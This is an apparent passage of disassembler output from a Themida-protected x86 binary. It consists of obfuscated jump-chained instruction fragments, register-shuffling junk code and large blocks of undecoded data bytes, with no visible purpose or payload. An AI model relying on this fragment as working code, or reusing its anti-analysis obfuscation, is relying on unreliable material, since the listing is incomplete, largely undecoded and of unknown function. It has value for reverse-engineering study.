dd 405E089h, 5000000h, 4, 2474FF50h, 48F5804h, 0BD555C24h
dd 1CC514Ch, 5203EDC1h, 0FFFFFFBAh, 5AD529FFh, 4EC81h
dd 62E90000h, 89000117h, 0B8505FFEh, 64B616C3h, 0A2764035h
dd 0D1D0F746h, 4F9AE9E8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554BC6: ; CODE XREF: Themida_:00563F9Cj
mov ebx, esp
jmp loc_55F4C4
; ---------------------------------------------------------------------------
db 59h, 0E9h, 0B5h
dd 97000017h, 5697D0F7h, 784AB2BEh, 7EEE8170h, 8107971Dh
dd 36776EEEh, 31D2E92Fh
db 1, 0
; ---------------------------------------------------------------------------
loc_554BEE: ; CODE XREF: Themida_:00566F3Cj
xor edi, 2EC3414h
jmp loc_558712
; ---------------------------------------------------------------------------
db 81h, 0E2h, 27h
dd 810F784Bh, 0D7ADBEAh, 5AD00172h, 8158C389h, 0B25A22EBh
dd 0BABF5769h, 0F7726378h, 92F781DFh, 1AF84AFh, 83DE9FBh
db 1, 0
; ---------------------------------------------------------------------------
loc_554C26: ; CODE XREF: Themida_:0055718Cj
mov [esp], esi
mov esi, 766D18DCh
shr esi, 6
jmp loc_56390A
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0A9BE5655h, 682B2B34h, 2342h, 0BB241C89h, 0D4D4CB59h
dd 15BDD89h, 0B800E9F5h, 0C4810000h, 4, 773C68h, 24048900h
dd 42474FFh, 24048F58h, 48B665Ch, 0E89AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554C7A: ; CODE XREF: Themida_:0055E158j
push eax
mov eax, 24h
add eax, 170C6F24h
add eax, edi
jmp loc_556DE9
; ---------------------------------------------------------------------------
loc_554C8C: ; CODE XREF: Themida_:00559C42j
mov ecx, 987A0BF9h
xor edx, ecx
pop ecx
sub ebx, 20476BDBh
add ebx, edx
push eax
jmp loc_55E9EA
; ---------------------------------------------------------------------------
dw 0C281h
dd 7B42C0Fh, 835AD129h, 148904ECh, 59CBA24h, 0D1295017h
dd 0E25EE95Ah
db 2 dup(0FFh)
word_554CBE dw 8B66h ; DATA XREF: Themida_:00552B5Co
dd 0C6E92404h
db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554CC7: ; CODE XREF: Themida_:0055E43Aj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], esi
mov esi, 4
jmp loc_5565F0
; ---------------------------------------------------------------------------
loc_554CDE: ; CODE XREF: Themida_:0055D815j
add esp, 4
add esp, 4
push edx
mov edx, 24FD5B31h
shl edx, 1
sub edx, 49FAB65Eh
push ecx
mov ecx, 0A8E4CFBh
add edi, 22361DFEh
add edi, ecx
sub edi, 22361DFEh
pop ecx
add edi, edx
sub edi, 0A8E4CFBh
pop edx
add edi, 4
jmp loc_55324F
; ---------------------------------------------------------------------------
db 81h
dd 0A237CEC2h, 0F47BE909h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554D26: ; CODE XREF: Themida_:00554869j
push eax
xor dword ptr [esp], 14911ED2h
pop edx
push ebp
mov ebp, 400145C1h
push esi
mov esi, 6D0D5C0Bh
xor ebp, esi
pop esi
xor ebp, 399D0718h
xor edx, ebp
pop ebp
jmp loc_566F67
; ---------------------------------------------------------------------------
loc_554D4C: ; CODE XREF: Themida_:005611B2j
pop eax
mov edx, ecx
pop ecx
jmp loc_556EA7
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0EC815D54h, 4, 52240489h, 10915E9h
db 0
; ---------------------------------------------------------------------------
loc_554D69: ; CODE XREF: Themida_:00560921j
not dword ptr [esp]
mov esi, [esp]
add esp, 4
neg esi
sub esi, 0FFFFFFFFh
add esi, 1
push edx
mov edx, 14B908E7h
inc edx
push esi
jmp loc_55A910
; ---------------------------------------------------------------------------
loc_554D8D: ; CODE XREF: Themida_:00557EA3j
pop ecx
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
push ebx
mov bh, al
jmp loc_55BB4F
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 81000000h, 4C5h, 46816800h, 3C890000h, 26824h
dd 0AEE90000h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554DC3: ; CODE XREF: Themida_:00559BC9j
add esp, 4
xchg edx, [esp]
jmp loc_566907
; ---------------------------------------------------------------------------
loc_554DCE: ; CODE XREF: Themida_:0055F16Dj
mov esp, [esp]
mov [esp], edx
push 6E36h
mov [esp], ebp
jmp loc_556FF0
; ---------------------------------------------------------------------------
loc_554DE1: ; CODE XREF: Themida_:00555664j
shl ebp, 2
add ebp, 27C14953h
sub ebp, 0AB63EF0h
jmp loc_56031B
; ---------------------------------------------------------------------------
loc_554DF5: ; CODE XREF: Themida_:0055C3DCj
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_565023
; ---------------------------------------------------------------------------
aZsg db 'ZИg*',0
dw 0BB00h
dd 18DB6119h, 0BFEBE9h, 58C60100h, 37BC68h, 24348900h
dd 56243C8Bh, 24348B54h, 5204C483h, 240CC4BAh, 0F7E28116h
dd 42708B02h, 50C2814Ah, 8116D561h, 55F67C2h, 89C2814Eh
dd 18B253Eh, 82685AD6h, 8900006Eh, 5FE92414h, 57000095h
dd 0F75D5F55h, 81EF87D5h, 1C3D5BCFh, 0C781470Bh
dword_554E68 dd 65A7029Ah, 0FF5FE9h, 0ADC28100h, 12C3202h, 0ADEA81C2h
; DATA XREF: Themida_:off_562EF7o
dd 0E92C3202h, 11E9Fh, 68243489h, 426Eh, 0E9241489h, 2685h
; ---------------------------------------------------------------------------
loc_554E94: ; CODE XREF: Themida_:0055FB39j
sub esp, 4
mov [esp], edx
push eax
mov eax, 661D1F13h
mov edx, 1C1C7591h
xor edx, eax
pop eax
sub edx, 46936449h
push ecx
mov ecx, 26560EF0h
add eax, ecx
pop ecx
sub eax, edx
sub eax, 26560EF0h
push dword ptr [esp]
pop edx
add esp, 4
mov [edi+20h], eax
pop eax
jmp loc_564625
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 81E68956h, 4C6h, 76CEE900h
db 2 dup(0)
word_554EE2 dw 30ACh ; DATA XREF: Themida_:00552B68o
dd 866866D8h, 14896648h, 4EC8124h, 89000000h, 0CFE9241Ch
dd 0BD0000C7h, 4, 505DE801h, 0D7A3E9h, 0BABA5200h, 0E9595F68h
dd 1232Fh, 74EF814Fh, 9D389FCh, 0C6815FFEh, 0CF23ABCFh
dd 295FFE29h, 2434FFF1h, 4C4815Eh, 87000000h, 0E95C240Ch
dd 10C5Fh, 4B05C681h, 815B5BBDh, 0A85CB0C6h, 721F2D6Eh
dd 5E2D09EDh, 2D553656h, 78E50BEDh, 5B5BE9h, 71C58100h
dd 811E6B17h, 0EC806FF5h, 0E9EF3173h, 0FFFFE9A5h, 0B850515Dh
dd 2, 48BC189h, 80FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F82: ; CODE XREF: Themida_:0055FFFEj
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, 2854DD1h
add eax, ebx
add eax, 2854DD1h
pop ebx
xor eax, [esp]
jmp loc_553E73
; ---------------------------------------------------------------------------
dd 83242C8Bh, 335A04C4h, 3C31243Ch, 243C3324h, 5524248Bh
dd 0C95689BDh, 7E50E911h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554FC2: ; CODE XREF: Themida_:00560341j
mov ebp, ecx
jmp loc_55945B
; ---------------------------------------------------------------------------
db 0C0h, 0E2h, 3
dd 81595451h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 24248B24h
dd 66240C89h, 0E9370A68h, 0A33Fh, 8B66D800h, 0C481241Ch
dd 2, 0FEE95F04h, 3100004Eh, 0C2015AD0h, 8124048Bh, 4C4h
dd 4EC8100h, 89000000h, 0A8BF243Ch, 172A99Eh, 85685FFAh
dd 0E9000078h, 0F31Bh, 685B5B66h, 10B2h, 0E9241489h, 967h
dd 5345C681h, 148B05CDh, 4C48124h, 8B000000h, 0C4812414h
dd 4, 305368h, 24348900h, 0DADFE9h, 1E88300h, 25678A0Dh
dd 44A6E950h, 0C3810000h, 4, 0C21E9h
db 0
; ---------------------------------------------------------------------------
loc_555079: ; CODE XREF: Themida_:00565240j
mov ebp, 396C4BB7h
shr ebp, 8
and ebp, 516B3759h
shr ebp, 5
add ebp, 493817DAh
jmp loc_561A6A
; ---------------------------------------------------------------------------
db 50h, 89h, 0E0h
dd 81E18951h, 4C1h, 4E98300h, 0FFF1A4E9h, 0F52958FFh, 57F5295Eh
dd 187783BFh, 81E7D107h, 9306BDEFh, 4EFC17Bh, 543AE950h
dd 0BF570000h, 4, 835FFD01h, 2C8704EDh, 0F9C6E924h, 4C290000h
dd 81590424h, 53B8242Ch, 42916B2h, 24048124h, 16B253B8h
dd 14240481h, 8119C267h, 319F242Ch, 0B8E95EAAh, 8BFFFFDAh
dd 14892424h, 0E99C5024h, 0FFFFDAABh, 4C181h, 0C1830000h
dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 0FF665266h
dd 66022474h, 48F665Ah, 0DA81E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55513A: ; CODE XREF: Themida_:0055B417j
sub ebx, 0C61282EAh
or ecx, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55B661
; ---------------------------------------------------------------------------
loc_555153: ; CODE XREF: Themida_:0056791Aj
sub eax, 1C875EC8h
push eax
jmp loc_556DB5
; ---------------------------------------------------------------------------
dw 0D529h
dd 41B8505Ah, 0D099F36h, 30364F1Ah, 0EAB9E235h, 8BC52979h
dd 0C4812404h, 4, 526BE9h, 4B800h, 0C7010000h, 74FF5758h
dd 1BE90424h
db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555193: ; CODE XREF: Themida_:0056075Aj
mov ecx, 34A256A3h
sub ebx, ecx
pop ecx
jmp loc_56829E
; ---------------------------------------------------------------------------
dd 4C481h, 0EFC10000h, 16BD5502h, 0C139FE28h, 0CD8106EDh
dd 1681283Fh, 1FE9D5F7h, 890000B0h, 0B1E9240Ch, 550000F1h
dd 777FADBDh, 564D4D60h, 10777E9h, 70C58100h, 813AA321h
dd 8A27D4EDh, 4CB2E907h, 0CD810000h, 705F1BBEh, 11B9BE9h
dd 4EC8300h, 0FF4FE9h
db 0
; ---------------------------------------------------------------------------
loc_5551F9: ; CODE XREF: Themida_:005576DEj
xchg esi, [esp]
jmp loc_5659EB
; ---------------------------------------------------------------------------
db 58h, 5Bh, 8Bh
dd 0C4812404h, 4, 5A66D028h, 10AC5E9h, 11C78100h, 81509250h
dd 4C5174E7h, 0BAEF812Bh, 89FBF32Fh, 243C8BFEh, 5704C483h
dd 41A4E9h, 2CD35C00h, 7CE99C24h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55523F: ; CODE XREF: Themida_:0056052Dj
mov esi, edx
jmp loc_557F20
; ---------------------------------------------------------------------------
dw 0E789h
dd 75C4BD55h, 0CD8177CAh, 7FAA33B3h, 187FCD81h, 0B8504698h
dd 5B51502Ah, 8158C501h, 845FE7F5h, 0CAED8125h, 0E9FECF8Fh
dd 0D21Bh, 933353B8h, 99B95167h, 2D504D2Ah, 70E46275h
dd 9C1A4F2Dh, 6C48055Ah, 0C8010D63h, 636C482Dh, 4FBD550Dh
dd 55A9C1Ah, 2DB056FBh, 0FFF56FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5552A5: ; CODE XREF: Themida_:005594CAj
shl edx, 6
push esi
push ebx
mov ebx, 569F4023h
and ebx, 32C43294h
or ebx, 6E8217CCh
add ebx, 0B1DD391Bh
jmp loc_552DE9
; ---------------------------------------------------------------------------
dw 8141h
dd 5A0888F1h, 8BCA010Ah, 8EE9240Ch, 8B000081h, 0AF0F2424h
dd 0E99C51C8h, 0FFFFD8D7h, 1D4D6859h, 1C890000h, 2BB24h
dd 62E90000h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5552F7: ; CODE XREF: Themida_:00563806j
add esi, 5D907104h
jmp loc_55DEA1
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 0C1E6D102h, 0F68104E6h, 0F208F8B8h, 348BF229h, 0AA1EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55531A: ; CODE XREF: Themida_:00556F9Cj
sub bl, 66h
push edx
jmp loc_55DBB2
; ---------------------------------------------------------------------------
db 87h
dd 685C240Ch, 437Eh, 51241489h, 0B1512AB5h, 52D1F6B8h
dd 132DE9h, 0BF574600h, 4FC534D4h, 0D56BC781h, 0FE01DB5Ch
dd 30FDE9h, 88E88800h, 305958C3h, 241C8BDCh, 0D0DBE9h
dd 0C1815900h, 4, 4E981h, 0C330000h, 240C3124h, 8B240C33h
dd 3C892424h, 815F5424h, 4C7h, 0BA525100h, 33BF5B4Ch, 0E1C2E9h
db 0
; ---------------------------------------------------------------------------
loc_555391: ; CODE XREF: Themida_:00562C5Ej
mov esi, 32377F9Ch
mov eax, 738C758Ah
xor eax, esi
pop esi
jmp loc_55C873
; ---------------------------------------------------------------------------
db 1
dd 0B9E981D9h, 0E979A914h, 4654h, 4247401h, 128E1E9h
db 0
; ---------------------------------------------------------------------------
loc_5553B9: ; CODE XREF: Themida_:00558931j
sub ecx, 36D05Bh
push ebp
push ecx
jmp loc_5592C4
; ---------------------------------------------------------------------------
loc_5553C6: ; CODE XREF: Themida_:005643F5j
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
xchg esi, [esp]
jmp loc_55A866
; ---------------------------------------------------------------------------
loc_5553E8: ; CODE XREF: Themida_:0055C9BBj
add dword ptr [esp], 2F3C177Eh
mov ebx, [esp]
jmp loc_5616EF
; ---------------------------------------------------------------------------
db 89h
dd 4BD55E6h, 1000000h, 0C6815DEEh, 4, 0DADDE9h, 2C78100h
dd 87000000h, 815C243Ch, 2ECh, 14896600h, 4EC8124h, 89000000h
dd 0EC812404h, 4, 0B6241489h, 5AF0887Bh, 0EE72E9h, 0E7895700h
dd 0A35DE9h, 0A2BA5200h, 2901B41Ah, 0E9042454h, 0FFFFF14Eh
dd 3912A168h, 0ED815D0Bh, 0ED3208CCh, 34F2E9h
db 0
byte_555465 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AECo
aSek db '$И┘┼',0
align 2
loc_55546E: ; CODE XREF: Themida_:0055E685j
add bl, al
push ecx
mov ch, 0BEh
xor ch, 0DBh
add bl, ch
pop ecx
jmp loc_554A98
; ---------------------------------------------------------------------------
loc_55547E: ; CODE XREF: Themida_:0055AD67j
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5632CF
; ---------------------------------------------------------------------------
db 81h
dd 0CD5345EEh, 0E9D62905h, 0FFFFFB8Ch
; ---------------------------------------------------------------------------
loc_5554B0: ; CODE XREF: Themida_:005592E3j
pop eax
jmp loc_55E4E9
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0D37CE904h, 0C3830000h, 90EB81FFh, 5E702DEh, 30386ABFh
dd 51E9D801h
db 5Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5554D3: ; CODE XREF: Themida_:0055C08Ej
shl ebx, 3
add ebx, 0FD25EBE1h
add ebx, 8636EF57h
push ebx
pop edx
pop ebx
and eax, edx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_557852
; ---------------------------------------------------------------------------
loc_5554F2: ; CODE XREF: Themida_:005568DEj
shr edx, 7
add edx, 12544430h
add edx, 6BCE062h
and esi, edx
pop edx
push esi
push 4910h
mov [esp], ebp
pop esi
mov ebp, [esp]
add esp, 4
jmp loc_55AF5D
; ---------------------------------------------------------------------------
db 81h, 0EEh, 5Eh
dd 81311F12h, 0AF40F4EEh, 2BC3E950h, 4BE0000h, 1000000h
dd 5E042474h, 8B2434FFh, 0E9562434h, 92ADh, 2BF7F781h
dd 5EE94FC3h, 0F7FFFFD9h, 814149D9h, 3346FEF1h, 92BB5303h
dd 0E9703C58h, 9D15h, 8324148Bh, 0BD5504C4h, 2B0A50BBh
dd 8104E5C1h, 0C42B2AEDh, 1ED8142h, 0F7000000h, 0C5814DD5h
dd 0E15C0DD4h, 6606E981h, 0CAE90C94h, 5D000070h, 78BD5550h
dd 550F5939h, 0BB240481h, 58628263h, 1D60E957h, 0DEB50000h
dd 0FF7AE9h
db 0
byte_5555AD db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552978o
dd 0E9E78957h, 12B88h
dword_5555B8 dd 240C8B66h, 22886856h, 8F540000h, 56552404h, 0E14BB53h
; DATA XREF: Themida_:00552A08o
dd 0E8E95AA7h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5555D3: ; CODE XREF: Themida_:005598CEj
dec esi
add esi, 864B429Dh
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_5571BA
; ---------------------------------------------------------------------------
loc_5555EB: ; CODE XREF: Themida_:00558969j
push esp
jmp loc_55A59D
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 6624248Bh, 2404BB0Fh, 0DBDAE99Ch, 0F7810000h, 5F9E72A0h
dd 4397F781h, 0C781051Ah, 6ACD51D1h, 0A78AC781h, 0FE012E83h
dd 1019CE9h, 96BF5700h, 31003A8Fh, 0BF575FFBh, 3736A07h
dd 3D5CC581h, 0FD0112C3h, 3D5CED81h, 5AE912C3h, 5400000Fh
dd 19A2E95Dh
db 1, 0
; ---------------------------------------------------------------------------
loc_55564A: ; CODE XREF: Themida_:005620ACj
sub ecx, 1C601BB8h
add ecx, 682A7233h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, 585A6F30h
jmp loc_554DE1
; ---------------------------------------------------------------------------
db 50h, 0B8h, 78h
dd 3125F204h, 0E4FFE9C6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555676: ; CODE XREF: Themida_:0055803Aj
mov ebx, 0
sub ebx, esi
jmp loc_559E62
; ---------------------------------------------------------------------------
dw 0F788h
dd 6F6EE9h, 6FD6800h, 4890000h, 4B1AB824h, 0C8E92C93h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55569B: ; CODE XREF: Themida_:0055F1BDj
or ebp, 6131B19h
jmp loc_565421
; ---------------------------------------------------------------------------
loc_5556A6: ; CODE XREF: Themida_:0055CBACj
mov ebx, 26FA7FC3h
shr ebx, 2
xor ebx, 61BB91B9h
sub esi, ebx
pop ebx
xor esi, 2035C9C3h
mov edx, esi
mov esi, [esp]
add esp, 4
mov edi, 4C2C73F9h
jmp loc_55F619
; ---------------------------------------------------------------------------
dw 0EF81h
dd 3CF97831h, 0B951EF01h, 3CF97831h, 418DE9h, 1ED8100h
dd 0E9000000h, 9C16h, 34FFC829h, 88685924h, 8900005Eh
dd 0E389241Ch, 5D6268h, 242C8900h, 4BDh, 8BEB0100h, 0C483242Ch
dd 19836804h, 2C890000h, 0DEE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555722: ; CODE XREF: Themida_:0055ECCDj
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_560841
; ---------------------------------------------------------------------------
dw 0BD55h
dd 3C4B599Dh, 4D05E5C1h, 5875E581h, 0E5C10DD2h, 91F58105h
dd 0E96DF835h, 0B262h, 8904EC83h, 0DCE92414h
db 94h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555757: ; CODE XREF: Themida_:00553746j
pop dword ptr [esp]
jmp loc_554256
; ---------------------------------------------------------------------------
db 81h
dd 2D1D10C5h, 0BB535B07h, 7927262Ch, 624768h, 241C8900h
dd 5B240CFFh, 302EEB81h, 0E9510406h, 0B077h, 7D5868h, 241C8900h
dd 1121CE9h, 0E7895700h, 4C781h, 0C7830000h, 243C8704h
dd 20E8E95Ch, 0EAC10000h, 0EA814202h, 0EB9AF01Ah, 15AD529h
dd 46C581C5h, 8B2A5166h, 0C4812404h, 4, 0E95DEB01h, 10B92h
; ---------------------------------------------------------------------------
loc_5557CC: ; CODE XREF: Themida_:0056310Bj
sub ebx, 755F3566h
push ebp
mov ebp, 7DFE2D3Eh
sub esi, ebp
mov ebp, [esp]
add esp, 4
add esi, ebx
add esi, 7DFE2D3Eh
mov ebx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
bt [esp], ax
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
dd 4BDh, 5897E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55580A: ; CODE XREF: Themida_:0055FAA4j
xchg ebp, ebx
not ebp
xchg ebp, ebx
sub ebx, 0DC7D643Fh
mov ebp, ebx
pop ebx
or ebp, 0E947823h
jmp loc_564304
; ---------------------------------------------------------------------------
loc_555824: ; CODE XREF: Themida_:0055720Bj
pop ecx
push edi
push dword ptr [esp+4]
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
jmp loc_566B95
; ---------------------------------------------------------------------------
loc_55584F: ; CODE XREF: Themida_:005566C3j
push ebx
mov ebx, 48391161h
sub [esp+8], ebx
pop ebx
jmp loc_559F5C
; ---------------------------------------------------------------------------
aWslf db 'WИ╚f',0
dd 5AD00100h, 0B151E9h
db 0
; ---------------------------------------------------------------------------
loc_55586D: ; CODE XREF: Themida_:0055E3B1j
mov edi, [esp]
add esp, 4
jmp loc_555C7F
; ---------------------------------------------------------------------------
loc_555878: ; CODE XREF: Themida_:005617B0j
add eax, edi
sub eax, 53B0273Ch
pop edi
mov ecx, [esp]
jmp loc_55CD12
; ---------------------------------------------------------------------------
loc_555888: ; CODE XREF: Themida_:0055964Ej
sub [esp], ebx
push ecx
mov ecx, 690637D4h
add [esp+4], ecx
pop ecx
pop ebx
push esi
jmp loc_56268B
; ---------------------------------------------------------------------------
db 89h, 0F9h, 89h
dd 3C8B59C8h, 4C48124h, 0E9000000h, 0C1E8h
; ---------------------------------------------------------------------------
loc_5558B0: ; CODE XREF: Themida_:00563948j
add [eax], ebx
pop eax
pop edx
jmp loc_55BF02
; ---------------------------------------------------------------------------
loc_5558B9: ; CODE XREF: Themida_:0056155Bj
xchg ebx, [esp]
jmp loc_5655C2
; ---------------------------------------------------------------------------
loc_5558C1: ; CODE XREF: Themida_:0055667Bj
push edx
mov edx, 5EE156ADh
jmp loc_563F51
; ---------------------------------------------------------------------------
loc_5558CC: ; CODE XREF: Themida_:0055A91Bj
sub edx, 6DF5DF80h
jmp loc_567652
; ---------------------------------------------------------------------------
loc_5558D7: ; CODE XREF: Themida_:005582E7j
sub ebx, 550822F3h
jmp loc_561CA6
; ---------------------------------------------------------------------------
dw 0E8B9h
dd 294C008Ch, 241C8BD9h, 4C481h, 69BF0000h, 29416030h
dd 0C66E9CFh, 895B0000h, 0EB2159CDh, 0E3814B5Dh, 125364CEh
dd 2048F381h, 0C6810252h, 68BF2175h, 0EE81DE01h, 68BF2175h
dd 5B2434FFh, 3120E9h, 0D0295A00h, 5872E9h, 81DDF700h
dd 0D4EAE6C5h, 24BCE9BBh, 0D2F70001h, 6497EA81h, 0C28134CEh
dd 803AD7AFh, 20E9D731h, 6800006Dh, 60BEh, 0E9242C89h
dd 8B7Ch, 7E08EB81h, 0EB813C7Dh, 5433016Fh, 0B8505750h
dd 3E65F04h, 0DDCD8368h, 0E9505F4Dh, 270Ah, 0E9243C89h
dd 0D362h, 65AEF781h, 0EF830D34h, 0F23DE901h, 5550FFFFh
dd 6C74BB53h, 98E93C66h, 530000F9h, 50B2ECB7h, 5BFA00h
dd 0A65BE9D0h, 0C3890000h, 8124048Bh, 4C4h, 0DE015900h
dd 0D4BEE9h, 4C48300h, 6470C381h, 0CB292D23h, 6470EB81h
dd 5592D23h, 759C77C5h, 0C52DD829h, 5B759C77h, 0FFEC83E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5559E9: ; CODE XREF: Themida_:0056696Cj
mov edi, esp
jmp loc_553BA3
; ---------------------------------------------------------------------------
dd 52242489h, 4BAh, 24540100h, 815D5A04h, 4C5h, 4EC8100h
dd 89000000h, 0F3E9241Ch, 28000037h, 0B15158C3h, 44C1804Dh
dd 8031E980h, 0E980E3C1h, 99E180FFh, 0FEE5B252h, 0B74EE9C2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555A32: ; CODE XREF: Themida_:0055A9A4j
mov ebp, 4D6F2D07h
neg ebp
inc ebp
neg ebp
dec ebp
sub ebp, 0EAB8BA83h
or esi, ebp
mov ebp, [esp]
add esp, 4
add esi, 0DA7B072h
mov ebp, 5827BA6Bh
sub ebp, esi
mov esi, [esp]
add esp, 4
xor eax, ebp
jmp loc_556F7F
; ---------------------------------------------------------------------------
dd 31242C33h, 2C33242Ch, 4003E924h, 0EC810000h, 4, 0BA241489h
dd 6DB03C27h, 0D4A1E9h, 242C8B00h, 8104C483h, 4C5h, 0C695E900h
dd 4890000h, 0E9F88924h, 5D90h, 4BEh, 24448100h, 0FD28DF04h
dd 0CCDE97Dh, 0DB2C0001h, 1450E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555ABE: ; CODE XREF: Themida_:00556AF9j
add edx, 5C527AEh
pop ecx
sub edx, ebx
sub edx, 6B1D26EEh
jmp loc_5603C3
; ---------------------------------------------------------------------------
loc_555AD2: ; CODE XREF: Themida_:0055F644j
sub esp, 4
mov [esp], esi
push edx
jmp loc_566B44
; ---------------------------------------------------------------------------
loc_555AE1: ; CODE XREF: Themida_:0055C49Bj
mov eax, 4
jmp loc_558E5A
; ---------------------------------------------------------------------------
db 81h
dd 0FD6F1AC5h, 81C5291Dh, 0FD6F1AEDh, 0F501581Dh, 6E92C581h
dd 0ED816ED2h, 30EF78C5h, 60F4E9h, 2434FF00h
db 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55EC3F
; ---------------------------------------------------------------------------
loc_555B1F: ; CODE XREF: Themida_:00566B05j
add esi, 974C4DE1h
add ebx, esi
pop esi
jmp loc_561583
; ---------------------------------------------------------------------------
loc_555B2D: ; CODE XREF: Themida_:00565C41j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_55FB80
; ---------------------------------------------------------------------------
loc_555B3E: ; CODE XREF: Themida_:00568293j
mov eax, 2AAC32ECh
jmp loc_5533E9
; ---------------------------------------------------------------------------
dd 4EB835Dh, 2E52E9h, 4E7C100h, 6AD8E781h, 0BB533DAAh
dd 0D2B1A76h, 895BDF31h, 2434FFFBh, 5854505Fh, 405h, 40500h
dd 4870000h, 0A7E95C24h
db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555B7F: ; CODE XREF: Themida_:00553C3Bj
sub ecx, edi
xchg ecx, edi
pop ecx
or edi, 1B6337D7h
add edi, 4018400Dh
jmp loc_558AC3
; ---------------------------------------------------------------------------
loc_555B95: ; CODE XREF: Themida_:00567450j
pop eax
sub eax, 3E194723h
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55CF8C
; ---------------------------------------------------------------------------
db 0B8h, 4, 0
dd 0C2010000h, 582434FFh, 457668h, 24048900h, 41E9E089h
dd 4500000Ah, 7ACBE9h, 5F28BD00h, 0E5813F74h, 4D124AF6h
dd 4708F581h, 94E9252Ah, 0D1000045h, 43C781E7h, 81259668h
dd 58D858EFh, 5FFB09B4h, 74D3EB81h, 0BA52B5B8h, 5FD1788Ch
dd 0E2AFE9h, 0C896600h, 0F6DD8824h, 0EA8852D5h, 92C3E9h
db 0
; ---------------------------------------------------------------------------
loc_555C1D: ; CODE XREF: Themida_:00557B89j
add ebx, 69AA9C12h
add edi, 38AE421Fh
jmp loc_560719
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFFF54Dh, 0C32189B9h, 0BFF18164h, 815CB83Bh, 653E52F1h
dd 59CF8961h, 2487EF81h, 0CF8107C0h, 1D196D24h, 0C781EFD1h
dd 20DE3DC4h, 815FFA21h, 7FE302C2h, 5AD589B4h, 34FFEE01h
dd 8E5EE924h, 0C4810000h, 4, 8DE95057h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C7F: ; CODE XREF: Themida_:00555873j
add edx, esi
add edx, 71653C60h
pop esi
push 2A97h
mov [esp], ebx
mov ebx, 524D106Fh
jmp loc_55378B
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 5C241C87h, 0C131E9h, 4C18300h, 5C240C87h, 31241433h
dd 14332414h, 0FF65E924h, 0DE870000h, 0DE87D3F7h, 0DDA3EE81h
dd 0E956F4A2h, 83AFh, 0C781F701h, 23A37382h, 11425E9h
db 0
; ---------------------------------------------------------------------------
loc_555CDD: ; CODE XREF: Themida_:00563ED5j
mov ebx, 571E658Ah
push esi
jmp loc_553A36
; ---------------------------------------------------------------------------
dd 75A86866h, 24048966h, 0C32848B0h, 0E9505866h, 0BCF8h
dd 8E8BE981h, 0ED81C62Dh, 252205D1h, 0C581CD29h, 252205D1h
dd 8BE98959h, 0C483242Ch, 0FFCD0104h, 81592434h, 4C4h
dd 4EC8300h, 0FF242C89h, 8B042474h, 8953242Ch, 4C381E3h
dd 57000000h, 6A84E9h, 0BAB95100h, 57536B18h, 4599BB53h
dd 0DF89275Ah, 0F3CF815Bh, 0E9276528h, 0B008h
; ---------------------------------------------------------------------------
loc_555D5C: ; CODE XREF: Themida_:00566554j
xor esi, 0E0C09328h
add edx, esi
pop esi
xchg edx, [esp]
